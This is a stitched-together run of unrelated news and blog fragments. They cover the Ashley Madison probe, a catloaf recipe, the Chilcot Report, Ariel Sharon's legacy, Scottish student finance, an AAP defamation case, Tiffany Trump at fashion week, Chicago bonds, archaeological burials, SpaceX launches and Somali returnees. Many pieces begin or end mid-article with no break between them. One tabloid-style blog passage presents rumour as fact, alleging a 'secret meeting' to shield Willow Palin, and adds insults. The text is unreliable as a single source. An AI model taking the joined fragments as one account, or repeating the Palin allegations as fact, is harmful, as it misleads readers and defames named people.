Lawton could say little about the investigation, but confirmed the privacy commissioner has been in touch with Avid Life Media.
Avid Life Media issued a statement on Monday praising the investigating law enforcement agencies — including the Toronto Police, the U.S. Department of Homeland Security, OPP, RCMP, and FBI — and pledging to co-operate in any way possible.
With a little finesse and baking know-how, you too can make your own catloaf. Lou Lou recommends using Donna Currie’s recipe for Bunny Bread, which produces a dough that’s perfect for shaping into a serene cat or tuckered-out kittens.
Lou Lou P’s Delights: Facebook
War is hell. It always carries a terrible human and moral cost.
The Iraq war shows that these costs can be far greater than predicted. That is why we must learn the lessons to ensure that decision making is improved for the future.
The publication of the Chilcot Report will lead to questions over what role Britain plays in the world.
I was neither for nor against the Iraq war, rather I served in it. Today as an MP my job is to scrutinise that decision in a forensic way.
We must freely and frankly debate the mistakes that were made so they may never be repeated.
It is a necessary first step to regain the trust of the public in making these difficult decisions.
These judgements are not easy because both action and inaction have serious consequences.
You can’t say for certain what the results will be. There are no perfect options.
(Image: PA)
There will likely be a time in future when Britain and our allies find there to be no acceptable alternative to war.
The process to enter any conflict must be exceptional. We should only do so with regret and following the most careful consideration.
Public trust is paramount. Maintaining that trust demands decision makers to apply the same focus throughout the campaign as at the start.
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It is an accepted truth that our ability to make these decisions is made more difficult after Iraq. So let us ensure we have a better process in place ready.
That means acting on the key lessons in the Chilcot Report as a matter of urgency.
In Parliament, I asked the Prime Minister to review how intelligence is shared with MPs before votes on military action.
I believe that we must also consider how we can improve the sharing of information between MPs, the armed forces and our intelligence services as these decisions are made.
We must also learn the lessons of the Afghan mission. It lasted longer than Iraq and cost many more British lives.
In Afghanistan we should have treated problems like corruption, poverty and lack of education with the same focus and seriousness as the military aspects. That is a clear lesson for future conflicts.
We must be engaged in the world to tackle the big threats we face.
To do so it is necessary that reforms happen now so that we never repeat the flawed Iraq process.
The Guardian’s Comment is Free is one of the first in the corporate media to offer an honest account of the legacy left behind by Ariel Sharon…
Ariel Sharon was ‘essentially a fighting machine’. Illustration: Andrzej Krauze
Avi Shlaim
Sharon’s legacy is the empowerment of some of the worst elements in Israel’s dysfunctional politics
Ariel Sharon, who died on Saturday after eight years in a coma, was one of Israel’s most iconic and controversial figures. His long and chequered career as a soldier and politician largely revolved around one issue: the conflict between Israel and its Arab neighbours. As a soldier he was involved at the sharp end of this bitter conflict. As a politician he became known as “the Bulldozer” on account of his contempt for his critics and his ruthless drive to get things done. Sharon was a deeply flawed character, renowned for his brutality, mendacity, and corruption. Yetdespite these flaws he holds a special place in the annals of his country’s history.
Sharon was an ardent Jewish nationalist, a dyed-in-the-wool hardliner, and a ferocious rightwing hawk. He also displayed a consistent preference for force over diplomacy in dealing with the Arabs. ReversingClausewitz‘s famous dictum, he treated diplomacy as the extension of war by other means.
The title he chose for his biography aptly summed him up in one word – Warrior. Like Shakespeare’s Coriolanus, Sharon was essentially a fighting machine. His critics denounced him as a practitioner of “gun Zionism”, as a perversion of the Zionist idea of the strong, fair-minded, and fearless Jew. To the Palestinians Sharon represented the cold, cruel, militaristic face of the Zionist occupation.
In 1953 Major Sharon committed his first war crime: the massacre of 69 civilians in the Jordanian village of Qibya. In 1982, as minister of defence, he led Israel’s invasion of Lebanon in a war of deception that failed to achieve any of its grandiose geopolitical objectives. A commission of inquiry found Sharon responsible for failing to prevent the massacre by Christian Phalangists of Palestinian refugees in Beirut’sSabra and Shatila camps. This verdict was etched on his forehead like a mark of Cain. But who foresaw that the man who was declared unfit to be minister of defence would bounce back as prime minister?
During the 2001 elections campaign Sharon tried to reinvent himself as a man of peace. His spin doctors cultivated the notion that old age was accompanied by a personal transformation from a sanguinary soldier into a genuine peace-seeker. President George W Bush famously described Sharon as “a man of peace”. For the last 40 years the Arab-Israeli conflict has been my main research interest, and I have not come across a scintilla of evidence to support this view. Sharon was a man of war through and through, an Arab-hater, and a pugnacious proponent of the doctrine of permanent conflict. Following his rise to power Sharon therefore remained what he had always been – the champion of violent solutions.
The dominant preoccupation of Sharon’s premiership was the “war on terror” against militant Palestinian groups. No peace negotiations with the Palestinian Authority took place between 2001 and 2006, and Sharon regarded this as something to be proud of. To his way of thinking negotiations necessarily involve compromise, and he consequently avoided them like the plague.
For this reason he also rejected all international plans aimed at a two-state solution. One was the 2002 Arab peace initiative, which offered Israel peace and normalisation with all 22 members of the Arab League in return for agreeing to an independent Palestinian state on the West Bank and Gaza, with a capital city in East Jerusalem. Another was the 2003 Quartet road map, which envisaged the emergence of a Palestinian state alongside Israel by the end of 2005.
Sharon was the unilateralist par excellence. His ultimate aim was to redraw unilaterally Israel’s borders, incorporating large swaths of occupied territory. Stage one was to build on the West Bank the so-called security barrier which the Palestinians call the apartheid wall. The international court of justice condemned this wall as illegal. It is three times as long as the pre-1967 border, and its primary purpose is not security but land-grabbing. Good fences may make good neighbours, but not when they are erected in the neighbour’s garden.
Stage two consisted of the unilateral disengagement of Gaza in August 2005. This involved the uprooting of 8,000 Jews and the dismantling of many settlements − a shocking turnaround by a man who used to be called the godfather of the settlers. Withdrawal from Gaza was presented as a contribution to the Quartet’s road map but it was nothing of the sort. The road map called for negotiations; Sharon refused to negotiate. His unilateral move was designed to freeze the political process, thereby preventing the establishment of a Palestinian state and maintaining the geopolitical status quo in the West Bank.
The legal term “depraved indifference” refers to conduct that is so wanton, so callous, so reckless, so deficient in a moral sense of concern, so lacking in regard for the lives of others, and so blameworthy as to warrant criminal liability. Sharon personified this kind of indifference in his approach to the Palestinians.
Towards the very end of his active life he bolted from the Likud to create the centrist party Kadima, but Kadima did not survive his demise. Today it has only two seats in the 120-member Knesset. So Sharon’s last-minute attempt to bring about a realignment in Israeli politics ended in failure.
We know that around 85,000 college places have been cut by the SNP/#YesScotland government and that Audit Scotland say further cuts may be needed. This is counter-productive as Scotland’s colleges are key to giving vulnerable people a second chance by getting them back into education.
A second area which has been hard hit is the Student Grant paid to the very poorest Scottish students. The bar chart below shows how the nationalist government is short-changing the poorest Scots. Note that the poorest Scots get the lowest grant by far. Perhaps this explains why the abolition of tuition fees has not encouraged more Scottish children from poor families to go to university. Indeed, St Andrews University accepted just five students from most deprived areas in 2012.
The low Student Grant in Scotland means that those students from the poorest backgrounds have to take out large student loans just to live. The table below shows the typical debt for students who have used up all of their student loan entitlement. Note that although fees are not charged in Scotland, debt is still high. This data assumes that poor students elsewhere in the UK do not apply for the many university fee reduction scholarships available to poorer students (typically worth ~£5,000).
It should also be noted that Graduates in England repay their loan once their income exceeds£21,000. In Scotland the threshold is just £16,910. This is really important as the loan expires (paid or not) after 30 years. It is possible to look at what Scottish and English students would repay over the 30 year period if they start work on a salary of £17,000 per year and receive an increment of 3% per year (not bad!). As the plot shows, the poorest Scottish students pay more than comparable English students until 2049(!) – by which time the debt has been written off.
So it appears that education in Scotland is only free with this SNP/#YesScotland policy if you can afford to pay for it.
For a more detailed look at this paradox, please read this.
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Directing Kejriwal and AAP leaders Ashutosh, Sanjay Singh, Kumar Vishwas, Raghav Chadha and Deepak Bajpai to appear before him on April 7, Chief Metropolitan Magistrate (CMM) Sumit Dass said “freedom of speech and expression is not an absolute right” but “one that is hedged with reasonable restrictions, with the law of defamation being the primary one”.
“The language of public discourse ought to be within the confines of decency. If it transgresses those limits and becomes insulting, offensive and laced with innuendos, same may amount to defamation and become actionable at the end of the person aggrieved,” CMM Dass said.
Jaitley had moved court against the AAP leaders, complaining that they had made defamatory statements and targeted him for alleged corruption in the Delhi and District Cricket Association (DDCA).
[related-post]
After the summons to the AAP leaders, advocate Manoj Taneja, counsel for Jaitley, told The Indian Express: “We respect the court’s order. The law will take its own course in the case.”
The CMM said: “Reputation of a man is his greatest asset. It takes years to build one’s reputation. No one knows or realises this fact much better than people who hold public office or aspire for the same… The allegations are not only insulting but jeeringly taunting and provocative. I have no hesitation to hold that the allegations levelled by the accused are derogatory in nature and amount to slander and libel.”
“…to call a person as corrupt, one who indulges in financial bungling and having siphoned off money to the tune of Rs 57 crore, drawing parallels with persons who are involved in criminal case, casting aspersions about his integrity, are not legitimate acts of criticism, but downright and per se defamatory in nature,” he said.
Referring to statements in the media, tweets and Facebook posts, the CMM said statements made by the accused “have exposed the complainant to ridicule, hatred and contempt amongst the right thinking members of society and lowered his reputation”.
“…defamatory allegations, as levelled on the Facebook post and print media, were intended to be read/shared by maximum number of persons, the allegations resonating through social media by tweets and re-tweets, all point to a synchronized pattern, in quick succession of time and which also probablise the existence of common intention,” he said.
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The 23-year-old reportedly spent her time at the Philipp Plein presentation carefully avoiding Madonna — a harsh critic of her father Donald — and being shunned by editors. However, she was all smiles at the Dennis Basso show the next day.
Tiffany donned a wine-colored dress embellished with crystal beading as she sat in the front row alongside her friend, designer Andrew Warren.
Happy as can be: Tiffany Trump was all smiles at the Dennis Basso show on Tuesday during New York Fashion Week
Style star: Tiffany donned a wine-colored dress embellished with crystal beading
Close as can be: The 23-year-old sat in the front row with her friend, designer Andrew Warren
The first daughter accessorized her look with classic black pumps, and she kept her long blond hair in loose curls around her shoulders.
Tiffany happily posed for pictures before the show, and unlike the night before, the seats next to her were filled.
The University of Pennsylvania graduate sat in between Andrew and another brunette, whom she was photographed chatting with during the show.
The night before, Tiffany had reportedly caused quite a stir — and it wasn't because of her edgy outfit.
Calm, cool, and collected: Tiffany reportedly spent the night before trying to avoid Madonna at another fashion show
Chatting away: Although some writers claimed that editors didn't want to sit with Tiffany at last night's show, she happily chatted with the brunette next her on Tuesday
Famous face: Tiffany happily posed for photos before the fashion show started
Sister, sister: Paris and Nicky Hilton also attended the high-profile fashion show
The New York Post reports that Tiffany was very concerned about avoiding Madonna who recently said she 'thought an awful lot about blowing up the White House' during her speech against the president at the Women's March in Washington, D.C.
The iconic singer ended up arriving over an hour late to the show, and she was seated across the room from Tiffany.
Meanwhile, a few writers claimed that Tiffany's appearance wreaked havoc on the seating assignments because no fashion editors wanted to sit next to her.
Alyssa Vingan Klein, the editor-and-chief of Fashionista.com, wrote on Twitter that seating was a mess because Tiffany was essentially being shunned.
Style star: Tiffany sat front row at the Philipp Plein show at the New York Public Library on Monday evening during New York Fashion Week
Alone? A few editors tweeted that no one wanted to sit next to Tiffany, and former Wall Street Journal fashion columnist Christina Binkley shared a photo of the empty seat next to her
More controversy: Tiffany was reportedly eager to avoid Madonna, who was seated on the front row at the Philipp Plein show, next to Kylie Jenner and Tyga
Causing a stir: The singer is said to have arrived an hour late at the catwalk event, which she attended alongside her photographer friend Steven Klein (far right)
'Seating s***show at Philipp Plein because no editors want to sit near Tiffany Trump. SHOCKER,' she wrote.
'Tiffany Trump had a front row seat as well, which led several editors to request to be moved and, in a couple of cases, leave altogether,' Alyssa added in her write-up of the show.
Nikki Ogunnaike, a senior fashion editor at Elle.com, responded to Alyssa's tweet by revealing that she and her colleagues had moved seats.
'We moved and are down the hall. Come thru,' she wrote.
'Phillip Plein at 10PM: 1 hour late start, editors fleeing just so they don't have to sit behind Tiffany Trump,' Nikki tweeted a few minutes later.
Pictures from the show see Tiffany sandwiched between her friend Andrew and another blonde attendee, but former Wall Street Journal fashion columnist Christina Binkley shared photos of the empty seat next to her earlier in the night.
Strike a pose: Tiffany attended the show with her friend and fellow 'Rich Kid of Instagram' Andrew Warren (right)
Tough crowd: Alyssa Vingan Klein, the editor-and-chief of Fashionista.com, claimed on Twitter that seating was a mess because Tiffany was essentially being shunned
Making moves: Nikki Ogunnaike, a senior fashion editor at Elle.com, responded to Alyssa's tweet by revealing that she and her colleagues had moved seats
'Nobody wants to sit next to Tiffany Trump at Philipp Plein, so they moved and the seats by her are empty,' she wrote.
Christina took a photo of the available seats next to Tiffany, adding: 'Empty seats next to Tiffany Trump.'
The writer was also apparently near one of Tiffany's Secret Service agents at the show.
'Tiffany Trump's secret service guy says this is his first fashion show. He is going to get the wrong idea about fashion,' she tweeted.
However a source who witnessed the incident insists that the empty seats next to Tiffany were actually reserved for the fashion label's CEO's family - and were only made empty when editors who had accidentally sat in them were asked to move.
‘The seats next to Tiffany had been reserved for the CEO’s family but were occupied by several fashion editors,' the source explained.
'The picture was taken in between the editors getting up to move and the family sitting down.’
Supporting the story: Nikki also tweeted that editors had moved to avoid being near Tiffany
Proof? Christina shared photos of Tiffany sitting on the end, with no one next to her, before she switched seats with Andrew
First time: The writer was also apparently near one of Tiffany's Secret Service agents at the show
Front row woes: When one Twitter user noted that he felt 'bad' for Tiffany, Christina noted that she still got plenty of attention from photographers at the show
It appears that at some point, Andrew had switched seats with Tiffany, so she would be sandwiched between him and another person.
And while some alleged that the editors had moved because they didn't want to sit next to Tiffany, the fashion show was apparently chaos from the start.
According to the Hollywood Reporter, hundreds of people gathered on the steps of the library, and they had to wait one at a time to get through the revolving door.
Once they sat down, the 9pm show was held until Madonna arrived at 10:15pm, over an hour late. The publication reports that 'one top fashion editor' left the show before it began after learning that they were waiting on the singer.
Edgy outfit: The University Pennsylvania graduate donned skinny black pants, a leather top, a navy and black coat, which she accessorized with pink pump
Waiting game: After Andrew switched seats with Tiffany, the seat next to him remained empty for a bit
In addition to Tiffany and Madonna, the star-studded show was filled with A-list stars, including, Kylie Jenner, Tyga, Taylor Hill, Paris and Nicky Hilton, Coco Rocha and more.
'Hot felon' Jeremy Meeks, whose mugshot went viral a few years ago, opened the show for his runway debut, and Lionel Richie's daughter Sofia Richie also strut down the catwalk for the designer.
This was Plein's first presentation in New York after several seasons of him showing in Milan. Ahead of the show, Plein borrowed President Trump's controversial slogan 'Make America Great Again', using the hashtag #LetsMakeNYFWgreatAgain on Instagram.
Despite the alleged controversy surrounding her appearance, Tiffany looked right at home in the front row of the show.
All smiles: Tiffany accessorized her ensemble with a sparkly black choker and a long necklace
The University Pennsylvania graduate donned skinny black pants, a leather top, a navy and black coat, which she accessorized with pink pumps and a black choker necklace.
The edgy outfit was a far cry from the elegant frocks she wore in the days leading up to her father Donald's inauguration last month.
Over the weekend, Tiffany modeled a white dress while attending the Taoray Wang show with her mother Marla Maples.
The mother-daughter pair were spotted front row at the runway show at Skylight Clarkson Square on Saturday. Tiffany was also accompanied by her boyfriend, Ross Mechanic.
Lookalikes: Tiffany and her mom atended the Taoray Wang show on Saturday
All together: The mother-daughter duo were spotted front row. Tiffany was also accompanied by her boyfriend, Ross Mechanic.
Fan club: Wang said the president's youngest daughter has been a 'supporter since a long time before the election'
The Chinese fashion designer made the white dress and matching coat that Tiffany wore for her father's inauguration last month, and the ensemble was said to be worth around $2,500-$3,700.
Wang said she gave the 23-year-old the outfit as a gift, but the designer has stated she 'is not political.' She seems to be Tiffany's go-to designer as she was previously seen clad in her clothing during presidential debates.
'I think Tao's aesthetic is just unparalleled. She puts so much effort into the slightest detail,' Tiffany told The Hollywood Reporter.
Wang said Tiffany has been a 'supporter since a long time before the election,' and has ordered pieces before attending Wang's show in 2016.
Custom-made: Wang designed Tiffany's white dress and matching coat for Donald Trump's inauguration last month. The ensemble is said to cost around $2,500-$3,700
Can't be stopped: Marla, Tiffany Trump, and Ross attended the show despite some other designers' recent political statements about her father
Fun time: The 23-year-old blonde looked on as she sat between her mother and boyfriend
Tiffany was dressed in Wang's designs during one of the presidential debates. Her interest in the designer drew criticism because of Donald Trump's remarks against China.
The blonde did comment on anything regarding politics and her father.
She added: 'We talked a lot and I think now she really knows my style, so we work closely together.'
But just a few days into the NYFW kickoff, designers have made politically sartorial statements about the new president.
Behind-the-scenes: Tiffany was spotted backstage at the Taoray Wang show draped in a pink coat
'F**k your wall': LRS Studio and designer Raul Solis chose to make a bold political statement by sending a clear message to President Trump at his show on Friday afternoon
Statement: Anna Wintour wore a pink badge in support of Planned Parenthood as she sat with Sarah Jessica Parker in the front row Calvin Klein show
Calvin Klein played This is Not America, and designer Raf Simons sent out white patterned bandanas to attendees in order to promote that message of inclusion, much like the ones Tommy Hilfiger had models wear in his show in California.
Meanwhile, designer Raul Solis, a 32-year-old Mexican immigrant, sent a model wearing 'f*** your wall' down the runway in a clear message to President Trump.
He told W Magazine: 'It’s important to have that message of sexual empowerment, especially now—to say, "Hey, actually, you can do whatever you want."
Reviewing & pondering over former French foreign minister Roland Dumas's remarks in 2013 can be very useful in response to questions about the causes of the crisis in Syria.
In an exclusive interview, Dumas said that while he was in Britain before the crisis began in Syria, he was invited to a party where senior English officials asked him if he would like to participate in preparations for an attack on Syria to topple the government in it.
He said that it happened in England not in USA. He told that he refused that offer and told them that he was French and it was not so interesting to him, but events proved that they were serious about what they said at that evening.
On the west’s goals from toppling the Syrian state, Dumas said that he thinks the current international climate formed around the Syrian situation contentious the policies adopted several years ago to deal with the Arab world, stressing that the west’s policies in such issues aren’t policies of peace but rather of war. He further said that personally he is against war and supports the path that leads to peace.
So what do you do when you're effectively a junk-rated credit risk but you need to sell another bond deal to keep your ponzi scheme going a little longer? Well, you turn to Goldman Sachs to help you engineer a shady corporate structure that supposedly gives new bondholders first dibs on sales tax revenue (i.e. you prime other unsecured bondholders)...which is just clever enough to fool the rating agencies into giving it a AAA-rating but, as analysts and investors point out, is unlikely to mean much of anything in a bankruptcy scenario. Per the Wall Street Journal:
Yet the nation’s third-largest city is on the verge of selling as much as $3 billion in bonds at a triple-A rating, the latest twist in the tale of cash-strapped U.S. municipalities adopting Wall Street financial engineering in their struggle to raise money in the market. Echoing methods adopted by Puerto Rico and New York, Chicago has created a new company to sell debt, offering a tempting pledge to investors: a dedicated first claim to the city’s sales-tax revenue. In theory, that should make the debt as secure as U.S. Treasury bonds. But there is a catch: analysts and investors say in the scenario of a bankruptcy, it is difficult to predict whether owners of the new bonds would get paid back ahead of other creditors, pensioners or even police and emergency services workers. The deal tests whether years of near-zero interest rates will send yield-starved investors into complex bond structures. And Chicago—with a school system that has teetered near bankruptcy and greater expenses than its revenues—could still face a funding gap down the line even if it manages to lower its borrowing costs, analysts say. Thornburg’s Mr. Ryon said Chicago’s new entity doesn’t deserve separate credit ratings from the city’s other debt. “It’s a bit of smoke and mirrors,” he said.
Of course, anyone with half a brain should be able to realize that for Goldman's structure to be effective it would necessarily mean that other outstanding Illinois bonds would have just been put in a subordinated position and should therefore be worth less. That said, per the chart below, legacy ILS bondholders still seem to be pretty optimistic about their future recovery potential.
But while the jury is still out on whether this financing ponzi scheme will be effective at priming other bondholders or is truly nothing more than "smoke and mirrors" designed to fool the always gullible rating agencies, you can rest assured that other failing states like California will line up to take advantage of similar schemes in the near future...
Other cities and states will be watching Chicago’s bond sales. Illinois passed a special statute allowing the city to issue the bonds, and now other municipalities in the state can do the same. States including California, Nebraska and Rhode Island have passed laws in recent years aimed at giving bondholders first claims on some taxes even if the issuer is in financial distress. Illinois and Michigan have also proposed similar laws. Investors say municipalities with weaker financials will continue to try to woo bondholders with proposed safeguards, especially with the market rattled by Puerto Rico’s restructuring. “The idea is to provide a little more reassurance to potential creditors that they’ve got first crack at the money,” said Glenn Weinstein, a Chicago attorney at Pugh, Jones & Johnson P.C., who has advised the city in the past. At the same time, Mr. Weinstein said, “if you don’t have financial difficulties and your credit is good, you don’t need this.”
Last week Chris Knüsel began removing a child skeleton from a complicated burial sequence in Building 80, while Josh Sadvari and Barbara Betz finished removing two adult burials from Building 96 (click on the image below to see a 3D model of Josh’s burial). Josh will return to Building 77 this week to complete the excavation of the northeast platform burial sequence.
Two days ago, Remy and I finally completed the excavation of the multiple burial in the northwest platform of Building 52. At the bottom of the grave cut we found a complete polished marble bracelet, although it was not in direct association with any of the skeletons. In the end, the grave contained one adult and four subadults. I’ll start the osteological analysis of these individuals this week.
In the adjacent northeast platform a double burial containing an adult and an infant was fully exposed last week. Yesterday I lifted the skeleton of the infant and tomorrow I’ll remove the adult. The infant was buried with anklets made of hundreds of tiny colored disc beads in multiple rows (see image below). Another concentration of these beads was found on the abdomen. Traces of red pigment, possibly cinnabar, were also observed on the cranium of this infant. Disarticulated bones from at least two additional individuals were found in the fill of this burial, including a child’s cranium and mandible placed next to the head of the adult.
The crime that prompted the ruling took place in 2007 when two teenagers beat a 13 years old boy and threatened him with a knife until he logged in to RuneScape and transferred a (virtual) mask and amulet to one of his assailants' characters.
A lower court has already sentenced the offenders to 144 hours of community service each in 2009, but one of them appealed to the country supreme court on the grounds that the stolen goods "were neither tangible nor material and, unlike for example electricity, had no economic value."
The Supreme Court however counter-argued that the stolen virtual items have value because of the "time and energy invested" to acquire them.
Moose-o-lini claimed Willow had been "out of town".
However when Troopers interviewed the other teens, every single one of them identified Willow as a participant, and further revealed that it was she who directed the other teens to the house, which she knew to be empty, for the sole purpose of having a party.
Then, true to form, she started pulling strings.
According to sources close to the Alaska State troopers there was a secret weekend meeting. This meeting took place between the Palin’s and some very highly placed people involved in the juvenile justice department. Directly after this secret meeting the word came down to the juvenile justice probation officer, Chris Evans, that ONLY the boys who had participated would be charged with the crime. The girls would only be identified as “witnesses” and face no criminal penalties.
According to the National Enquirer:
"About two dozen kids broke into the house that was up for sale. They drank, played beer pong, listened to loud music - and trashed the place. "Police were notified, and they investigated the incident for possible vandalism and breaking and entering. When the pal who threw the bash was questioned by police, she named Willow as one of the partiers."
AlaskaWTF calls Willow the "ringleader" of this crime.
The apple doesn't fall far from the Tundra Trollop wild Alaskan dingbat (edited since some folks were offended and it's not nice to insult trollops).
The homeowners associations for three neighborhoods built by Carbine & Associates and Hood Development require everyone to use Crystal Clear Technologies, an upstart service provider that the lawsuit alleges is controlled by the developers. The plaintiffs have been complaining for months.
Attorney Ben Gastel is representing the residents, who are seeking class-action status, and says they have no choice but to pay for Crystal Clear service, even if they did want to try another provider.
“I think your cable company is one of those people that everybody loves to hate," Gastel says. "But it’s certainly a different ball game when you can’t even switch to a different cable operator that you might also equally hate.”
The claims are made under the Sherman Antitrust Act, citing "self-dealing and unjust enrichment."
The attorney representing the developer and Crystal Clear Technologies says the class-action lawsuit has no merit and that some of the assertions are “factually wrong.”
The unmanned Falcon 9 rocket launched by SpaceX, on a cargo resupply service mission to the International Space Station, lifts off from the Cape Canaveral Air Force Station in Cape Canaveral, Florida January 10, 2015. REUTERS/Mike Brown
The 2015 launch lineup would give the Cape Canaveral spaceport its busiest year since 1992, said Thomas Falzarano, commander of the operations group for the Air Force’s Eastern Range.
Fourteen launches on the 2015 schedule would be for privately held Space Exploration Technologies, or SpaceX. Ten launches would be for United Launch Alliance, a partnership of Lockheed Martin Corp and Boeing Co.
For 2016, 36 launches already are on the schedule, Falzarano added.
In 2014, there were 18 launches from Cape Canaveral, all successful. The world’s busiest spaceport in 2014 was the Russian-operated Baikonur Cosmodrome in Kazakhstan, which had 21 launches, 19 of which were successful.
“In 2015, if we hit the mark, the Cape will be the busiest spaceport in the world. Business is picking up,” Falzarano said.
The first launch of the year took place on Saturday when a SpaceX Falcon 9 rocket blasted off to send a Dragon cargo ship to the International Space Station. The freighter arrived on Monday.
SpaceX’s schedule includes a test flight of its 27-engine Falcon Heavy rocket, which will launch from a refurbished space shuttle launch pad at NASA’s Kennedy Space Center, just north of Cape Canaveral Air Force Station.
Up to four more station supply runs for NASA are on SpaceX’s manifest, as well as several commercial communications satellite launches. SpaceX also is preparing for a Jan. 29 mission to put a U.S. space weather satellite into orbit for the National Oceanic and Atmospheric Administration.
United Launch Alliance plans eight space missions using Atlas 5 rockets and two on Delta boosters. The missions are predominantly to put U.S. military satellites into orbit, a business SpaceX hopes to break into this year as well.
Both SpaceX and ULA also plan launches from California’s Vandenberg Air Force Base. ULA has one Atlas and two Delta rockets slated for West Coast flights this year. SpaceX has at least one from California – a NASA ocean-monitoring satellite that is due to fly on March 31.
Yesterday Richard posted a poll question asking, Whose fault is it? I believe that voting is a very private matter not dissimilar to a man's personal preference in [redacted].
Despite my feelings on voting, and [redacted] for that matter, I'm not keeping my vote secret -- I voted for Dean Spanos. I even owned up to it yesterday but my reasoning lacked reason. It was visceral -- the type of comment that gets destroyed at BFTB. Had I defended my position I would have done so by citing the quotes below. However, that would have made for an extremely long comment so I opted to turn it into a post.
I'll share my Dean Spanos anecdote with you next week but until then enjoy some of my favorite Dean Spanos quotes.
"We hired Norv because we believed in him," Spanos said. "He did an outstanding job last year. This year is not going how we hoped. I'm disappointed like anybody is. ... We're not in business to change coaches every year."
The 2008 campaign "is not going how we hoped". That was the year the Chargers got off to a terrible start under Norv Turner. It was like 2007, 2009, and 2010. Fortunately during 2011 and 2012 the bed-sh*ttings waited until the middle part of the season.
Belief . . . it's an interesting concept. A powerful concept.
"The easiest thing in the world is to start over. Who the hell do I go hire? Blow the whole thing up? We're a pretty good team but we have to make the right moves. We've fallen. It could have been our draft picks or our free-agent moves. But we have a good core, and I don't care what anybody says. I'm not afraid to make changes. If I thought it was warranted, I would do it. We have a good foundation here."
Who the hell do I go hire? If that one question right there doesn't terrify you then I want the kool-aid you're drinking because clearly mine was spiked with 3 milliliters of Visine. Seriously. I have terrible diarrhea right now. OK. I'm being figurative . . . but doesn't the uncertainty from a top executive give you pause as a fan? And diarrhea?
This is a damning quote. It makes me feel like I have no chance of ever experiencing a championship in the city of San Diego. Unless Craig Elsten spots me some free tickets to a Sockers' game.
"You have to decide which way your team is headed," Spanos said. "And if it's headed down, which ours clearly has been in the last couple years, for a lot of different reasons, what do you need to do to change that and how fast can you change it and what's the best way to effectively make those changes? I find ourselves in the middle (of the league). "I still think we're a good team, we have a marquee quarterback with a great relationship with one of the best coaches in the National Football League, in my opinion, and I think that, you know, going forward next year, keeping this intact gives us the best chance to win and change this thing as quickly as possible."
This quote, given nearly 11 months ago, was made possible for one reason and one reason alone: Jared Gaither. Jared f*&%ing Gaither!
If that lazy human doesn't play out of his mind after crawling in off the streets of Kansas CIty with Gates BBQ stains all over his person, then the Chargers don't finish the season strong. And if the Chargers don't finish the 2011 season strong then Norv Turner isn't still the coach of the San Diego Chargers. And if Norv Turner isn't still the coach of the San Diego Chargers then someone else is. And if someone else is the coach then we, the fans, aren't complaining endlessly about Norv Turner and our (sporting) lives are very different.
If true, the minivan deal would use Chrysler's redesigned 2017 Pacifica, which has been widely praised in the automotive media for its design and features — and the fact that it will be available as a plug-in hybrid for the first time in Chrysler's long minivan history.
The highest-capacity Google car yet
This wouldn't be the first time Google has used third-party vehicles to make a fleet of self-driving cars: the company started with Toyota Priuses, and still uses Lexus RX crossovers across its test cities. But the company has been lacking a larger shuttle type of vehicle that could ferry a bunch of people (a large family, say, or a bunch of coworkers) at once. The Pacifica, with a maximum seating of eight, would fill that gap.
It's not clear whether the Pacificas would be used in a test fleet, as Google's other vehicles have been, or in some sort of limited commercial deployment. Google is widely expected to "graduate" the self-driving car project from X into its own company soon, which would create revenue pressure. Limited ride-hail deployments, like on a college or commercial campus, could let Google deploy more quickly without having to wait for regulations to catch up — a process that is expected to take several years.
Israeli officials have largely kept out of the rift between Doha and many of its former Arab allies, over its support for terror, Iran and the controversial news outlet, other than noting that this harsher stance by the Sunni countries could potentially allow for closer ties with Israel.
Liberman earlier called the row a potential “opportunity” for Israel.
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However, during a Knesset meeting about Israel’s strategies toward Gaza, he opted to wade in further, offering stiff criticism of al-Jazeera, which the Sunni states accuse of supporting the Muslim Brotherhood and Iran.
“Some [Arab countries’] interests overlap with Israeli interests, including the issue with al-Jazeera,” Liberman said.
“Al-Jazeera is not media, it’s not journalism. It’s an incitement machine. It’s pure propaganda, of the worst variety, in the style of Nazi Germany or Soviet Russia,” he added.
In his remarks on Monday, Liberman also hinted that the television network appears to support Iran, the nemesis of Riyadh.
“I’ve been tracking al-Jazeera for many years,” Liberman said. “You’ll never see a single article against Iran.”
Early in the morning last Monday, Saudi Arabia, Bahrain, the United Arab Emirates and Egypt announced that they were severing ties with Qatar over its alleged support for terrorism and “destabilizing” the security of the region, Riyadh said in a statement.
Maldives and Yemen also cut ties with Qatar, and Jordan downgraded its diplomatic cooperation with the country.
Doha, for its part, denied that it funded extremists and rejected the idea of shutting down al-Jazeera.
"Ladies and gentlemen, welcome to this Air Africa flight to Mogadishu," the Kenyan stewardess booms over the plane tannoy.
Absolutely no-one pays any attention, with passengers preferring to root through the overhead lockers or stand talking in the aisles.
The plane is full of familiar accents: British, Canadian and American. Open your eyes and you see it is packed with Somalis, mainly women, going to a "home" they barely know.
'High-flying executives'
Ayan Yussuf, 18, is one of a group of women sitting together dressed alike in black floor-length abayas (cloaks) and hijabs (headscarves).
"Well, when in Rome, do as the Romans," she says.
I'm here to stay. I've quit my job [in the US] Safia Yassin Farah, Mogadishu youth worker
She admits it is not what she wears in Canada, where she lives.
She is coming to Somalia on holiday - her first visit to the country.
"I want to see what it's like. One day, we might move back," Ms Yussuf says.
Is she scared?
"Yes, definitely! I've got no idea what it's going to be like."
On first sight, not much has changed in Mogadishu since I was here in early 2012. It looks like a country in conflict, and security is still the first priority.
The airport is in a heavily fortified base that is home to the joint African Union (AU) and UN force known as Amisom.
Image caption Holidaymakers have been flocking to the beach in Mogadishu
Outside, pick-up trucks full of soldiers, armoured vehicles and teams of civilian guards wait to pass in and out. Across the road, a cafe sits behind an eight-foot wall of sandbags and barbed wire.
But the rest of Mogadishu is ablaze with bustle and renovation.
After a period of stability, Somalis are coming back by the plane-load.
"You can hardly get a seat," one man tell us at Nairobi airport, on his way to Mogadishu.
'Double life'
Among them are many women, who want to play their part in rebuilding a country that has been at war for more than 20 years.
You are used to going anywhere and doing what you want back home in the States, but here you can't just jump in the car and go down to the store Maluka Abulkadir, Working in the PM's office
Walking into an office not far from the airport, I spot some perfectly manicured nails tapping away at an expensive laptop.
Next to that lie a designer handbag and some serious-looking files.
Safia Yassin Farah is 34 and her desk is that of a high-flying executive anywhere in the world, except that the view from her office is of high walls, wire and armed guards.
She left the US to take up a post working with young people in Mogadishu, helping them obtain an education and skills.
"I'm here to stay. I've quit my job," Ms Farah says, sounding thrilled and scared at the same time.
"I grew up in the US and got my degree at the University of New Hampshire. I had a job, a house, I had everything."
